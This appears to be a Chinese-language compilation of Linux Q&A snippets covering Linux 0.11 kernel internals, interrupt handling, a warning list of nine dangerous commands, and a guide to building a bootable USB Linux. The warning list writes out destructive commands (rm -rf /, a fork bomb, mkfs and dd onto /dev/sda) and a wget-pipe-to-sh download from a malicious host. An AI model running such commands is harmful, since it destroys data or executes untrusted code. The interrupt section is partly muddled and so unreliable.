⑴ linux 内核0.11阅读困惑
1、你说的“图5-3显示, fs先入栈,ebx后入栈”是不对的,恰好反了。
书上原话"在开始内执行程序容之前,堆栈指针 esp 指在中断返回地址一栏 ( 图中 esp0 处 ) 。当把将要调用的 C 函数do_divide_error()或其它 C 函数地址入栈后,指针位置是 esp1 处",这已经说明esp0的地址高于esp1的地址。同理ebx地址高于fs地址,即ebx先入栈。
2、3都是关于gnu内嵌汇编问题,需要自己看书的。
#define outb_p(value,port) \
__asm__ ("outb %%al,%%dx\n" \
"\tjmp 1f\n" \
"1:\tjmp 1f\n" \
"1:"::"a" (value),"d" (port))
相当于:
mov (value),%eax
mov (port),%edx
outb %al,(%dx)
就是给某个端口port发数据value的,<<微机接口>>里很多例子,例如给中断控制器8259A初始化就是这样做的。
⑵ 看linux代码时看到这么一句:lss _stack_start,%esp,_stack_start在哪声明的,谁知道呀
stack_start在sched.c文件L72行上定义的。
long user_stack[PAGE_SIZE>>2];
struc {
long * a;
short b;
} stack_start = { &user_stack[PAGE_SIZE>>2], 0x10 };
在内核初始化操作过程中被用作内核栈,初始化完成以后将被用作任务0的用户态堆栈。在运行任务0之前它是内核代码栈,以后用作任务0和1的用户态栈。下面结构用于设置堆栈ss:esp(数据段选择符,指针),见head.s,第23行。ss被设置为内核数据段选择符(0x10),指针esp指在 user_stack数组最后一项后面。这是因为Intel CPU执行堆栈操作时是先递减堆栈指针sp值,然后在sp指针处保存入栈内容。
描述符类型中的E比特位说明了指定段的扩张方向,而非栈的操作压入方向。对于一般数据段,其基地址是段的开始处。而对于32位栈段来说(如果定义了栈类型段)它的基地址是指明从基地址开始到限长规定的这段内存是不可访问的,即栈段是从限长开始处到线性地址末端(4G)处才是真正的栈的长度。这个E位就是起这个作用。
例如,如果内存空间为10。定义段基地址=3,长度=4。那么若E=0,则段范围是3--7。若动态加长段长度成6,那么范围就是3--9。即段的扩展位置在段的末端。
定义段基地址=3,长度=4。若E=1,则段范围是7--10。若动态加长段长度成6,那么范围就是9--10。即段的扩展位置在前端。
可见E位仅确定了段的扩张方向。与栈的实际操作无关。
⑶ 关于Linux中禁用中断和锁定的关系问题
首先原子操作是通过local_irq_enable()这个宏来实现,这个宏实现了硬件中断和软件中断的屏版蔽。这样CPU就不权能被软件中断,如线程抢占。而当硬件中断产生时,会将其结果保存到中断控制器的SRCPND(resource-pend)寄存器中,然后将SRCPND的内容送去做中断屏蔽检测,这一工作由设置MASK寄存器相应的位完成,如果全部屏蔽,硬件中断就不会产生了。当然了,每种处理器都有自己的中断处理方法,通常的流程是这样。
⑷ LINUX系统有哪些危险命令
这9个“非常危险”的Linux命令一定要记住!
1、rm-rf命令
rm-rf命令是删除文件夹及其内容最快的一种方式,仅仅一丁点的敲错或者无知都可能导致不可恢复的系统崩坏。
rm命令在Linux下通常用来删除文件
rm-f命令递归的删除文件夹,甚至是空的文件夹
rm-f命令能不经过询问直接删除只读文件
rm-rf/:强制删除根目录下所有东西
rm-rf/*:强制删除当前目录的所有文件
rm-rf.:强制删除当前文件夹及其子文件
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm
-i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};:命令
这就是一个fork炸弹的实例。具体操作是通过定义一个名为':'的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、命令 >/dev/sda
上列命令会将某个'命令'的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv文件夹/dev/null
这个命令会移动某个'文件夹'到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
5、wget http://malicious_source -O- | sh
上面这个命令会从一个恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会执行下载下来的脚本。
温馨提示:你应该时刻注意你下载包或者脚本的源。只能使用那些从可信任的源中下载脚本/程序。
6、mkfs.ext3 /dev/sda
上列命令会格式化设备'sda',你无疑知道在执行上列命令后你的块设备会被格式化,崭新的。没有任何数据,直接让你的系统达到不可恢复的阶段。
7、> file
上面命令常用来清空文件内容,如果用上列执行时输入错误或无知的输入类似“> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。
8、^foo^bar
这个命令用来编辑先前运行的命令而无需要打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
9、dd if=/dev/random of=/dev/sda
上面这个命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然,你的系统可能陷入混乱和不可恢复的状态。
⑸ Linux To Go:制作随身携带、即插即用的Linux系统
如何把Linux系统移植到U盘或移动硬盘上,并从USB驱动器中启动并运行?下面我将教大家制作随身携带、即插即用的Linux操作系统。(把当前系统移植到移动硬盘上)
为什么需要这个功能呢?
硬件:
软件:
Linux发行版自带的工具 如 gparted grub cp
制作
Linux启动盘的制作分为以下几个步骤:分区、复制文件、安装grub并配置、测试。 目的是把当前系统移植到移动硬盘上。
从LiveCD启动,打开gparted分区工具, 把移动硬盘的分区表改为GPT 。我使用以下分区方案:
sdb1是UEFI+GPT模式下的引导分区,grub引导器就要装在这里。
sdb2是放数据的,为了与Winodws兼容所以采用NTFS。
sdb3是Linux系统的全部内容,如果你想把家目录单独分出来也可以。
后面留空备用,结果如下图
我原系统的文件储存在 /dev/nvme0n1p3 (根分区)和 /dev/nvme0n1p4 (家分区)上,把这两个分区挂载到 /mnt /mnt/home。每个人的分区情况不同,需要对应修改。挂载后,/mnt 目录包括原系统的所有内容。
挂载 /dev/sdb3 到 /media/backup,把 /mnt 内容全部复制到 /media/backup
cp -a /mnt/* /media/backup/
GRUB 提供一个安装程序grub-install用以安装 GRUB 到磁盘,下面是grub-install的一些常用参数及选项:
UEFI 特有参数及选项:
挂载 /dev/sdb1 到 /media/backup/boot/efi ,把grub安装到移动硬盘上
上面的 --boot-directory --efi-directory --removable 不可省略。
安装之后要修改grub配置文件,就让他自动生成好了。但要禁用os-prober功能——自动探测硬盘上的其他操作系统然后生成配置。Linux To Go 不依赖于其他操作系统,它的启动菜单里只有自己。注意,不要使用update-grub,因为它会修改UEFI启动项。
修改 /media/backup/etc/fstab,把UUID换成对应的值
安装grub后,还要手动修改 /media/backup/etc/fstab 。Linux To Go只需要自动挂载两个分区—— sdb1 ESP 和 sdb3 DEEPIN_ROOT,修改对应的UUID。
现在可以重启试试了。开机按下F12 UEFI启动菜单中有移动硬盘这个启动项,选择即可。
如果成功就OK;如果黑屏断电,查看/media/backup/boot/efi 下的文件 把BOOTX64.EFI删除,把 grubx64.efi 重命名为 BOOTX64.EFI 再重启。